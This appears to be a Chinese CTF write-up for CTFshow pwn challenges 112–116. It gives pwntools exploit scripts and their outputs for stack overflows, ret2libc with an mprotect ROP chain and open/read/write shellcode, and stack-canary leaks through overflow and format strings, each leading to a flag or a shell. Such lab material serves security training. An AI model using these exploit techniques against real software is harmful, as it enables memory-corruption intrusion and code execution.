context(arch='amd64',os='linux',log_level = 'debug')
io = process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['_do_global'] #flag=400697
payload = cyclic(0x80+8) + p64(flag)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 47
[*] '/CTFshow_pwn/pwn'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanism_Bypass
    * Site  : https://ctf.show/
    * Hint  : No RELRO,Try pwn it!
    * *************************************
Input your message:
I have received your message, Thank you!
flag{just_test_my_process}
[*] Got EOF while reading in interactive

pwn112

Hint：满足一定条件即可

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

32位保护全开，其中部分开启RELRO

IDA查看漏洞函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  logo();
  ctfshow();
  return 0;
}

int ctfshow()
{
  n17 = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var);
  if ( n17 )
  {
    if ( n17 == 17 )
      return register_tm();
    else
      return printf(
               "something wrong! val is %d",
               var[0],
               var[1],
               var[2],
               var[3],
               var[4],
               var[5],
               var[6],
               var[7],
               var[8],
               var[9],
               var[10],
               var[11],
               var[12],
               n17);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    return puts("Try doing something~");
  }
}

细⼼观察其实就发现还是存在后⻔函数：

int register_tm()
{
  return sub_400470();
}

unsigned int sub_400470()
{
  return do_global();
}

unsigned int do_global()
{
  FILE *stream; // [esp+8h] [ebp-20h]
  _BYTE buf[9]; // [esp+13h] [ebp-15h] BYREF
  unsigned int v3; // [esp+1Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  stream = fopen("/ctfshow_flag", "r");
  while ( 1 )
  {
    buf[0] = fgetc(stream);
    if ( buf[0] == 0xFF )
      break;
    write(1, buf, 1u);
  }
  return __readgsdword(0x14u) ^ v3;
}

那么让n17 = 0x11 也就是⼗进制的17即可执⾏到后⻔函数了。

即直接将n17覆盖成17即可

.bss:00003060 ; _DWORD var[13]
.bss:00003060 var             dd 0Dh dup(?)

dd 0Dh dup(?) 表示 var 是一个由 13 个DWORD（4 字节整数）组成的数组：

dd 对应 C 语言的int（4 字节）；
0Dh 是十六进制的 13，dup(?) 表示重复 13 次，因此总大小为 13 × 4 = 52字节。

from pwn import *
context.log_level='debug'
io = process('./pwn')
payload = p32(17) * 0xE #payload = b"a"*13*4+p32(0x11)
io.recv()
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 67
[*] Switching to interactive mode
[*] Process './pwn' stopped with exit code 0 (pid 67)
flag{just_test_my_process}
[*] Got EOF while reading in interactive

pwn113(libc6_2.27-0ubuntu2_amd64,libc6_2.27-3ubuntu1_amd64,libc6_2.27-0ubuntu3_amd64)[64位mprotect，还得练]

Hint：理清逻辑，题目不难。

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

64位程序完全开启RELRO保护，开启NX保护

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  _BYTE v5[1032]; // [rsp+0h] [rbp-420h] BYREF
  __int64 v6; // [rsp+408h] [rbp-18h]
  char n10; // [rsp+417h] [rbp-9h]
  __int64 v8; // [rsp+418h] [rbp-8h]

  is_detail = 0;
  go(argc, argv, envp);
  logo();
  fwrite(">> ", 1u, 3u, _bss_start);
  fflush(_bss_start);
  v8 = 0;
  while ( !feof(stdin) )
  {
    n10 = fgetc(stdin);
    if ( n10 == 10 )
      break;
    v3 = v8++;
    v6 = v3;
    v5[v3] = n10;
  }
  v5[v8] = 0;
  if ( (unsigned int)init(v5) )
  {
    qsort(files, size_of_path, 0x200u, cmp);
    search_file_info();
  }
  else
  {
    fflush(_bss_start);
    set_secommp();
  }
  return 0;
}

feof函数的作用就是判断文件流的结束符。

没有接受到结束符时就一直执行while循环，然后接受用户的输入。

payload = b'a' * 0x418 + p8(0x28) 
'''
填充v5，v6，n10，v8；
修改 v8 的第一个字节为 0x28
v8 是记录输入长度的变量，程序会在 v5[v8] 处添加 null 终止符。
当 v8 被改为 0x28 后，v5[0x28] 会被设为 0，导致用户输入的路径被截断为 40 字节（前 40 字节有效，后续内容被忽略）。
v8 是 8 字节变量，但我们只需要修改它的低字节就能达到目的[p8()]
这个是调试出来的【下次补】
'''

跟进init():

__int64 __fastcall init(char *path)
{
  __int64 n0x4000; // rax
  char *v2; // rax
  struct stat stat_buf; // [rsp+10h] [rbp-1A0h] BYREF
  char ptr[256]; // [rsp+A0h] [rbp-110h] BYREF
  char *src; // [rsp+1A0h] [rbp-10h]
  _BYTE *v6; // [rsp+1A8h] [rbp-8h]

  size_of_path = 0;
  if ( (unsigned int)stat(path, &stat_buf) == -1 )
  {
    strcpy(ptr, "Can't get the information of the given path.\n");
    fwrite(ptr, 1u, 0x2Eu, _bss_start);
    return 0;
  }
  else if ( (stat_buf.st_mode & 0xF000) == 0x8000 )
  {
    size_of_path = 1;
    src = __xpg_basename(path);
    strcpy(files, src);
    strcpy(dest, path);
    return 1;
  }
  else
  {
    n0x4000 = stat_buf.st_mode & 0xF000;
    if ( (_DWORD)n0x4000 == 0x4000 )
    {
      if ( path[strlen(path) - 1] != 47 )
      {
        v2 = &path[strlen(path)];
        v6 = v2 + 1;
        *v2 = 47;
        *v6 = 0;
      }
      get_dir_detail(path);
      return 1;
    }
  }
  return n0x4000;
}

逻辑看起来不明所以可能

注意到程序还开启了沙箱set_secommp()：

int set_secommp()
{
  __int64 v0; // rcx
  __int64 v1; // r8
  __int64 v2; // r9
  __int16 n8; // [rsp+0h] [rbp-50h] BYREF
  __int16 *p_n32; // [rsp+8h] [rbp-48h]
  __int16 n32; // [rsp+10h] [rbp-40h] BYREF
  char v7; // [rsp+12h] [rbp-3Eh]
  char v8; // [rsp+13h] [rbp-3Dh]
  int n4; // [rsp+14h] [rbp-3Ch]
  __int16 n21; // [rsp+18h] [rbp-38h]
  char v11; // [rsp+1Ah] [rbp-36h]
  char n5; // [rsp+1Bh] [rbp-35h]
  int v13; // [rsp+1Ch] [rbp-34h]
  __int16 n32_1; // [rsp+20h] [rbp-30h]
  char v15; // [rsp+22h] [rbp-2Eh]
  char v16; // [rsp+23h] [rbp-2Dh]
  int v17; // [rsp+24h] [rbp-2Ch]
  __int16 n53; // [rsp+28h] [rbp-28h]
  char v19; // [rsp+2Ah] [rbp-26h]
  char v20; // [rsp+2Bh] [rbp-25h]
  int n0x40000000; // [rsp+2Ch] [rbp-24h]
  __int16 n21_1; // [rsp+30h] [rbp-20h]
  char v23; // [rsp+32h] [rbp-1Eh]
  char n2; // [rsp+33h] [rbp-1Dh]
  int v25; // [rsp+34h] [rbp-1Ch]
  __int16 n21_2; // [rsp+38h] [rbp-18h]
  char v27; // [rsp+3Ah] [rbp-16h]
  char v28; // [rsp+3Bh] [rbp-15h]
  int n59; // [rsp+3Ch] [rbp-14h]
  __int16 n6; // [rsp+40h] [rbp-10h]
  char v31; // [rsp+42h] [rbp-Eh]
  char v32; // [rsp+43h] [rbp-Dh]
  int n2147418112; // [rsp+44h] [rbp-Ch]
  __int16 n6_1; // [rsp+48h] [rbp-8h]
  char v35; // [rsp+4Ah] [rbp-6h]
  char v36; // [rsp+4Bh] [rbp-5h]
  int v37; // [rsp+4Ch] [rbp-4h]

  prctl(38, 1, 0, 0, 0);
  n32 = 32;
  v7 = 0;
  v8 = 0;
  n4 = 4;
  n21 = 21;
  v11 = 0;
  n5 = 5;
  v13 = -1073741762;
  n32_1 = 32;
  v15 = 0;
  v16 = 0;
  v17 = 0;
  n53 = 53;
  v19 = 0;
  v20 = 1;
  n0x40000000 = 0x40000000;
  n21_1 = 21;
  v23 = 0;
  n2 = 2;
  v25 = -1;
  n21_2 = 21;
  v27 = 1;
  v28 = 0;
  n59 = 59;
  n6 = 6;
  v31 = 0;
  v32 = 0;
  n2147418112 = 2147418112;
  n6_1 = 6;
  v35 = 0;
  v36 = 0;
  v37 = 0;
  n8 = 8;
  p_n32 = &n32;
  return prctl(22, 2, &n8, v0, v1, v2);
}

程序的关键就是看各个函数以及了解⼀些结构体，如果对这些毫不了解，那么简单尝试运⾏程序：

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanism_Bypass
    * Site  : https://ctf.show/
    * Hint  : Clear thinking
    * *************************************
>> aaaa
Can't get the information of the given path.

随便输⼊，然后回显⼀个：Can’t get the information of the given path.（⽆法获取给定路径的信

息。）

那么尝试给定⼀个路径试试尝试根⽬录（/）:

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanism_Bypass
    * Site  : https://ctf.show/
    * Hint  : Clear thinking
    * *************************************
>> /
drwxr-xr-x   1          root          root     4096   Wed Aug 20 07:43:27 2025 bin
drwxr-xr-x   2          root          root     4096   Sat Jun  7 12:53:10 2025 bin.usr-is-merged
drwxr-xr-x   2          root          root     4096   Sat Jun  7 11:55:23 2025 boot
-rw-r--r--   1          root          root       17   Thu Jul 17 07:52:36 2025 canary.txt
-rw-r--r--   1          root          root       27   Thu Aug 21 01:08:03 2025 ctfshow_flag
drwxrwxr-x   4        ubuntu        ubuntu     4096   Thu Aug 21 01:49:20 2025 CTFshow_pwn
drwxr-xr-x   5          root          root      340   Thu Aug 21 00:58:32 2025 dev
drwxr-xr-x   1          root          root     4096   Wed Jul  9 13:08:44 2025 etc
drwxr-xr-x   1          root          root     4096   Wed Jul  9 13:07:01 2025 home
drwxr-xr-x   1          root          root     4096   Mon Jul 21 15:50:54 2025 lib
drwxr-xr-x   2          root          root     4096   Sat Jun  7 12:53:10 2025 lib.usr-is-merged
drwxr-xr-x   1          root          root     4096   Sat Jun  7 12:35:20 2025 lib32
drwxr-xr-x   2          root          root     4096   Sat Jun  7 11:55:23 2025 lib64
drwxr-xr-x   3          root          root     4096   Sat Jun  7 12:33:06 2025 libx32
drwxr-xr-x   2          root          root     4096   Sat Jun  7 11:55:23 2025 media
drwxr-xr-x   2          root          root     4096   Sat Jun  7 11:55:23 2025 mnt
drwxr-xr-x   2          root          root     4096   Sat Jun  7 11:55:23 2025 opt
-rw-r--r--   1          root          root       34   Thu Jul 17 07:42:43 2025 password.txt
drwxr-xr-x   1        ubuntu        ubuntu     4096   Sat Jun  7 12:53:10 2025 pip_venv
dr-xr-xr-x 416          root          root        0   Thu Aug 21 00:58:32 2025 proc
drwxr-xr-x   1        ubuntu        ubuntu     4096   Tue Aug 19 10:48:00 2025 pwndbg
drwx------   1          root          root     4096   Sat Jun  7 12:53:11 2025 root
drwxr-xr-x   1          root          root     4096   Wed Jul  9 13:07:01 2025 run
drwxr-xr-x   1          root          root     4096   Sat Jun  7 12:53:11 2025 sbin
drwxr-xr-x   2          root          root     4096   Sat Jun  7 11:55:23 2025 srv
dr-xr-xr-x  13          root          root        0   Thu Aug 21 00:58:32 2025 sys
drwxrwxrwx   1          root          root   516096   Wed Jul  9 13:07:07 2025 tmp
drwxr-xr-x   1          root          root     4096   Wed Jul  9 13:07:02 2025 usr
drwxr-xr-x   1          root          root     4096   Wed Jul  9 13:07:01 2025 var

发现能够看到给定路径下的⽂件

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanism_Bypass
    * Site  : https://ctf.show/
    * Hint  : Clear thinking
    * *************************************
>> /ctfshow_flag
-rw-r--r--   1          root          root       27   Thu Aug 21 01:08:03 2025 ctfshow_flag

但是仅仅能看到⽂件信息，并不能获取到⽂件内容。[此时为本地运⾏]，⾄此，我们⼤概了解了这个程

序的作⽤。

回到函数：

int __fastcall stat(char *filename, struct stat *stat_buf)
{
  return __xstat(1, filename, stat_buf);
}

这个函数能获取⽂件的各种属性

else if ( (stat_buf.st_mode & 0xF000) == 0x8000 )
{
  size_of_path = 1;
  src = __xpg_basename(path);
  strcpy(files, src);
  strcpy(dest, path);
  return 1;
}
else
{
  n0x4000 = stat_buf.st_mode & 0xF000;
  if ( (_DWORD)n0x4000 == 0x4000 )
  {
    if ( path[strlen(path) - 1] != 47 )
    {
      v2 = &path[strlen(path)];
      v6 = v2 + 1;
      *v2 = 47;
      *v6 = 0;
    }
    get_dir_detail(path);
    return 1;
  }
}
return n0x4000;

__xstat返回的其实是⽂件的stat结构体，⾥⾯会记录⽂件的类型和权限。⽤结构体⾥⾯的mode出来进

⾏判断。

程序中有⼀个判断，当我们输⼊的⽂件路径有问题，它就会返回0，然后进⼊沙箱中，那么我们就可以

任意输⼊，使其出错进⼊沙箱进⾏沙箱ROP，还是⾮常简单的。

先泄漏地址，再通过mprotect函数修改权限然后orw进⾏读flag，flag名称我们可以在远程连接的时候

输⼊路径即可看到flag⽂件格式，详细过程这⾥不再概述⻅exp。

漏洞分析:

栈溢出点：main函数中对用户输入的处理存在栈溢出。输入数据存储在v5数组（大小为0x408字节），其位于栈上的地址为[rbp-0x420]。超过0x420字节的输入会覆盖rbp及返回地址，导致控制流劫持。
进入沙箱条件：当输入的路径无效时，init函数返回0，程序会调用set_secommp()开启沙箱。此时可利用溢出控制返回地址，执行 ROP。
沙箱与目标：沙箱限制了系统调用，但允许open、read、write等基础 I/O 操作（可通过程序行为推断）。目标是通过 ROP 构造open->read->write（ORW）链，读取/ctfshow_flag。

$ ROPgadget --binary ./pwn | grep "pop rdi ; ret"
0x0000000000401ba3 : pop rdi ; ret

$ ROPgadget --binary ./pwn | grep "ret"
0x0000000000400640 : ret

$ ROPgadget --binary ./libc6_2.27-3ubuntu1_amd64.so --only "pop|ret" | grep "rsi"
0x0000000000023e6a : pop rsi ; ret

$ ROPgadget --binary ./libc6_2.27-3ubuntu1_amd64.so --only "pop|ret" | grep "rdx"
0x0000000000001b96 : pop rdx ; ret
#$ ROPgadget --binary ./libc6_2.27-3ubuntu1_amd64.so | grep "pop rsi ; ret"
#$ ROPgadget --binary ./libc6_2.27-3ubuntu1_amd64.so | grep "pop rdx ; ret"

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF("./libc-database/db/libc6_2.27-3ubuntu1_amd64.so")
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x401ba3

payload = b'a' * 0x418 + p8(0x28) 
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) #ROP链:调用puts(puts_got)，打印puts的实际地址
payload += p64(main) #调用完puts后跳回main函数，方便第二次攻击

io.sendlineafter(b'>> ', payload)
puts = u64(io.recvuntil(b'\x7f')[-6:] + b'\x00\x00') #64位地址特征：以\x7f开头，取最后6字节补全为8字节;puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print(hex(puts))
libc_base = puts - libc.symbols['puts']
print(hex(libc_base))

payload = b'a' * 0x418 + p8(0x28)
payload += p64(pop_rdi) + p64(elf.bss()) #传参：bss段地址（可写内存区域）
payload += p64(libc_base + libc.sym['gets']) #调用gets函数，从输入读取数据到bss段
payload += p64(pop_rdi) + p64(elf.bss() & 0xfffffffffffff000) #传参：bss段所在页的起始地址（页对齐）
payload += p64(libc_base + 0x23e6a) + p64(0x1000) #传参：页大小（0x1000），使用libc中的pop rsi; ret gadget
payload += p64(libc_base + 0x1b96) # 使用libc中的pop rdx; ret gadget
payload += p64(7) + p64(libc_base + libc.sym['mprotect'])  # 调用mprotect(地址, 0x1000, 7)，权限7=读+写+执行
payload += p64(elf.bss()) # 跳转到bss段（此时已可执行）

io.sendlineafter(b'>> ', payload)

shellcode = asm('''
mov rax, 0x67616c662f2e  
push rax                 
mov rdi, rsp             
xor esi, esi             
mov eax, 2               
syscall                  

cmp eax, 0               
jg next                  
push 1                
mov edi, 1               
mov rsi, rsp             
mov edx, 4              
mov eax, edi           
syscall
jmp exit                 

next:
mov edi, eax             
mov rsi, rsp            
mov edx, 0x100           
xor eax, eax            
syscall                 

mov edx, eax            
mov edi, 1               
mov rsi, rsp             
mov eax, edi            
syscall                

exit:
xor edi, edi             
mov eax, 231             
syscall                 
''')

io.sendline(shellcode)
io.interactive()

from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
io = remote("pwn.challenge.ctf.show",28240)
elf = ELF('./pwn')

ret = 0x400640
pop_rdi_ret = 0x401ba3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_ret = elf.sym['main']
data = 0x603000

io.recvuntil(b">> ")

payload = b"A"*0x418 + p8(0x28) + p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_ret)
io.sendline(payload)

puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump('puts')
mprotect_addr = libc_base+libc.dump("mprotect")
pop_rdx = libc_base+0x1b96
pop_rsi = libc_base+0x23e6a
gets_addr = libc_base+libc.dump("gets")
print("libc_base:",hex(libc_base))

io.recvuntil(b">> ")
payload = b"A"*0x418+p8(0x28)+p64(pop_rdi_ret)+ p64(data)
payload += p64(gets_addr)+p64(pop_rdi_ret)+p64(data)
payload += p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)
payload += p64(7)+p64(mprotect_addr)+ p64(data)

io.sendline(payload)

getflag = asm(shellcraft.cat("/flag"))
io.sendline(getflag)

io.interactive()

#方法一
sh = '''
mov rax, 0x67616c662f2e ; rax = 0x67616c662f2e（对应字符串"./flag"的ASCII码）
push rax ; 将路径压入栈（作为open的参数）
mov rdi, rsp ; rdi = 栈地址（路径字符串）
xor esi, esi ; esi = 0（O_RDONLY模式）
mov eax, 2 ; eax = 2（syscall号：open）
syscall ; 调用open("./flag", O_RDONLY)

cmp eax, 0               ; 检查是否打开成功（eax为文件描述符，>0成功）
jg next                  ; 成功则跳至next
push 1                   ; 失败则准备输出"1"
mov edi, 1               ; edi = 1（stdout）
mov rsi, rsp             ; rsi = 栈地址（"1"的地址）
mov edx, 4               ; edx = 4（输出长度）
mov eax, edi             ; eax = 1（syscall号：write）
syscall
jmp exit                 ; 退出

next:
mov edi, eax             ; edi = 文件描述符
mov rsi, rsp             ; rsi = 栈地址（用于存储读取内容）
mov edx, 0x100           ; edx = 0x100（读取长度）
xor eax, eax             ; eax = 0（syscall号：read）
syscall                  ; 读取文件内容到栈

mov edx, eax             ; edx = 实际读取长度
mov edi, 1               ; edi = 1（stdout）
mov rsi, rsp             ; rsi = 栈地址（读取到的内容）
mov eax, edi             ; eax = 1（syscall号：write）
syscall                  ; 输出文件内容

exit:
xor edi, edi             ; edi = 0（退出码）
mov eax, 231             ; eax = 231（syscall号：exit）
syscall                  ; 退出程序
'''

# 方法二

sh = ''
sh += shellcraft.open('/flag') #生成打开/flag文件的汇编代码
sh += shellcraft.read(3,'rsp',0x100) #生成读取文件的汇编代码。其中3是假设的文件描述符（open成功后通常返回 3，因为 0/1/2 是标准输入 / 输出 / 错误），'rsp'表示栈地址（缓冲区），0x100是读取长度。
sh += shellcraft.write(1,'rsp',0x100) #生成输出内容的汇编代码。1是标准输出（stdout），'rsp'是缓冲区（存放读取到的内容），0x100是输出长度。
shellcode = asm(sh)


#方法三

sh = shellcraft.cat("/flag")
shellcode = asm(sh)
'''shellcraft.cat(path)是shellcraft提供的高层封装函数，直接实现 “读取文件并输出内容” 的完整功能（类似 Linux 的cat命令）。其内部自动完成：

- 打开/flag文件；
- 循环读取文件内容到缓冲区；
- 将缓冲区内容写入标准输出（stdout）；
- 关闭文件并退出。'''

#方法四

sh = shellcraft.readfile("/flag",2)
shellcode = asm(sh)
'''shellcraft.readfile(path, fd)也是shellcraft的高层函数，功能是 “读取path文件的内容，并写入到文件描述符fd”。其中：

第一个参数"/flag"是目标文件路径；
第二个参数2是目标文件描述符（2对应标准错误 stderr，通常应该用1表示标准输出 stdout，这里可能是笔误）。
'''

$ python3 exp.py
[+] Opening connection to pwn.challenge.ctf.show on port 28240: Done
[*] '/CTFshow_pwn/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[+] There are multiple libc that meet current constraints :
0 - libc6_2.27-0ubuntu2_amd64
1 - libc-2.36-22.mga9.i586
2 - libc6_2.19-0ubuntu6.5_amd64
3 - libc6_2.27-3ubuntu1_amd64
4 - libc-2.36-33.mga9.i586
5 - libc6_2.37-0ubuntu1_amd64
6 - libc6_2.27-0ubuntu3_amd64
7 - libc-2.32-6.fc33.i686
8 - libc-2.32-8.fc33.i686
9 - libc-2.32-7.fc33.i686
[+] Choose one : 0
libc_base: 0x7f378bba4000
[*] Switching to interactive mode
Can't get the information of the given path.
\x00ctfshow{6f46de02-1282-4af2-8737-9a62a000944b}

pwn114

Hint：现在你应该学会了吧

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

还是64位保护全开

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s1[10]; // [rsp+16h] [rbp-3FAh] BYREF
  char s[1004]; // [rsp+20h] [rbp-3F0h] BYREF
  int char; // [rsp+40Ch] [rbp-4h]

  init(argc, argv, envp);
  logo();
  signal(11, sigsegv_handler);
  flagishere();
  while ( 1 )
  {
    puts("Do you know Canary now?");
    puts("Input 'Yes' or 'No': ");
    __isoc99_scanf("%s", s1);
    if ( !strcmp(s1, "Yes") )
      break;
    if ( !strcmp(s1, "No") )
    {
      puts("I'm sorry to hear that! Come on.");
      return 0;
    }
    puts("Invalid input, please enter again!");
  }
  puts("Ok,I know you got it!");
  puts("Tell me you want: ");
  do
    char = getchar();
  while ( char != 10 && char != -1 );
  fgets(s, 1000, stdin);
  ctfshow(s);
  return 0;
}

跟进ctfshow():

char *__fastcall ctfshow(const char *p_s)
{
  char dest[256]; // [rsp+10h] [rbp-100h] BYREF

  return strcpy(dest, p_s);
}

存在后⻔函数：

char *flagishere()
{
  FILE *stream; // [rsp+8h] [rbp-8h]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  return fgets(flag, 64, stream);
}

关键函数：
- main函数：接收用户输入 “Yes” 后，通过fgets读取最多 1000 字节到s，再调用ctfshow(s)。
- ctfshow函数：使用strcpy将s复制到 256 字节的dest数组中，存在栈溢出漏洞（strcpy不检查长度，输入超过 256 字节会溢出）。
- flagishere函数：已提前读取/ctfshow_flag内容到全局变量flag中，只需泄露flag变量即可获取 flag。

甚⾄都不需要写exp

$ cyclic 256
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac
$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanism_Bypass
    * Site  : https://ctf.show/
    * Hint  : No Canary, I think you should have learned!
    * *************************************
Do you know Canary now?
Input 'Yes' or 'No':
Yes
Ok,I know you got it!
Tell me you want:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac
flag{just_test_my_process}

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
io.sendline("Yes")
payload = cyclic(0x100)
io.sendline(payload)
io.interactive()

pwn115

Hint：Bypass Canary 姿势1

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位开启了Canary保护与NX保护，部分开启RELRO保护

IDA查看main函数，直接跟进ctfshow函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(&argc);
  logo();
  puts("Try Bypass Me!");
  ctfshow();
  return 0;
}

unsigned int ctfshow()
{
  int i; // [esp+0h] [ebp-D8h]
  char buf[200]; // [esp+4h] [ebp-D4h] BYREF
  unsigned int v3; // [esp+CCh] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  for ( i = 0; i <= 1; ++i )
  {
    read(0, buf, 0x200u);
    printf(buf);
  }
  return __readgsdword(0x14u) ^ v3;
}

明显的溢出漏洞还有格式化字符串漏洞，还观察到存在后⻔函数：

int backdoor()
{
  return system("/bin/sh");
}

由于开启了Canary保护，我们⾸先得泄漏出Canary的值，然后再利⽤backdoor函数进⾏get shell

（⽅式不唯⼀）

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
elf = ELF('./pwn')
backdoor = elf.sym['backdoor']

# leak Canary
payload = b'a'*200
io.sendlineafter(b"Try Bypass Me!\n", payload) #sendline发送 A*200 + '\n',前 200 字节的 A 刚好填满 buf；第 201 字节的 \n（即 0xa）会溢出到 buf 后面的内存，而这个位置恰好是 Canary 的第一个字节（小端序下，Canary 的低地址字节被覆盖）。
io.recvuntil(b'a'*200)
Canary = u32(io.recv(4)) -0xa #由于泄露的 Canary 低字节被 0xa（换行符）覆盖，因此需要减去 0xa 来恢复 Canary 的原始值。
print(hex(Canary))

# Bypass Canary
payload = b"\x90"*200 + p32(Canary) + b"\x90"*0xc + p32(backdoor) #\x90 是 NOP 指令（填充空间）【可以是其他字母】
io.send(payload)
io.recv()
io.recv()
#ctfshow 函数中有一个循环，会执行两次输入 + 输出操作;两次 io.recv() 是为了匹配 ctfshow 函数中两次 printf 输出的逻辑，清空程序打印的冗余数据（第一次泄露的栈数据、第二次构造的 payload 内容），避免这些数据干扰后续的 shell 交互。
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 619
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
0x63fc1200
[*] Switching to interactive mode
$ ls
 ctfshow_flag

pwn116

Hint：Bypass Canary 姿势2

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位开启了Canary保护与NX保护，部分开启RELRO保护

IDA查看ctfshow函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  logo();
  ctfshow();
  return 0;
}

unsigned int ctfshow()
{
  char buf[32]; // [esp+Ch] [ebp-2Ch] BYREF
  unsigned int v2; // [esp+2Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  puts("Look me & use me!");
  read(0, buf, 0x50u);
  printf(buf);
  read(0, buf, 0x50u);
  return __readgsdword(0x14u) ^ v2;
}

同样的存在溢出漏洞跟格式化字符串漏洞，且存在后⻔函数:

int qwerasd()
{
  return system("/bin/sh");
}

这次我们利⽤格式化字符串漏洞去泄漏Canary的值来进⾏绕过。

格式化字符串漏洞可以打印出栈中的内容，因此利⽤此漏洞可以打印出canary的值，再进⾏栈溢出。printf 函数直接打印了 read 读取的⽤⼾输⼊的内容，因此我们可以通过输⼊特殊的payload来利⽤printf泄露栈中的内容。

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanism_Bypass
    * Site  : https://ctf.show/
    * Hint  : Using formatted strings to leak !
    * *************************************
Look me & use me!
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0xff8693bc.0x50.0x8048603.0xff8693e8.0xf7151bb0.0xf71238ac.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70

格式化字符串自身的偏移（第 7 个参数）

unsigned int v2; // [esp+2Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);

Canary 相对于格式化字符串的偏移0x20/4=8

所以 Canary：7（基准偏移） + 8（buf占用的栈单位数） = 15

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
elf = ELF('./pwn')
backdoor = 0x8048586

io.recvuntil(b"Look me & use me!")
#print Canary
payload = b'%15$8x' #08x是为了完整获取 Canary 的 4 字节数据，保证数据能完整显示为 8 位十六进制数
io.sendline(payload)
io.recv()
canary = int(io.recv(8),16)
print(b'canary:' + hex(canary))
#Bypass Canary
payload = b'a' * 32 + p32(canary) + b'a' * 0xc + p32(backdoor)
io.sendline(payload)
io.recv()
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 682
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
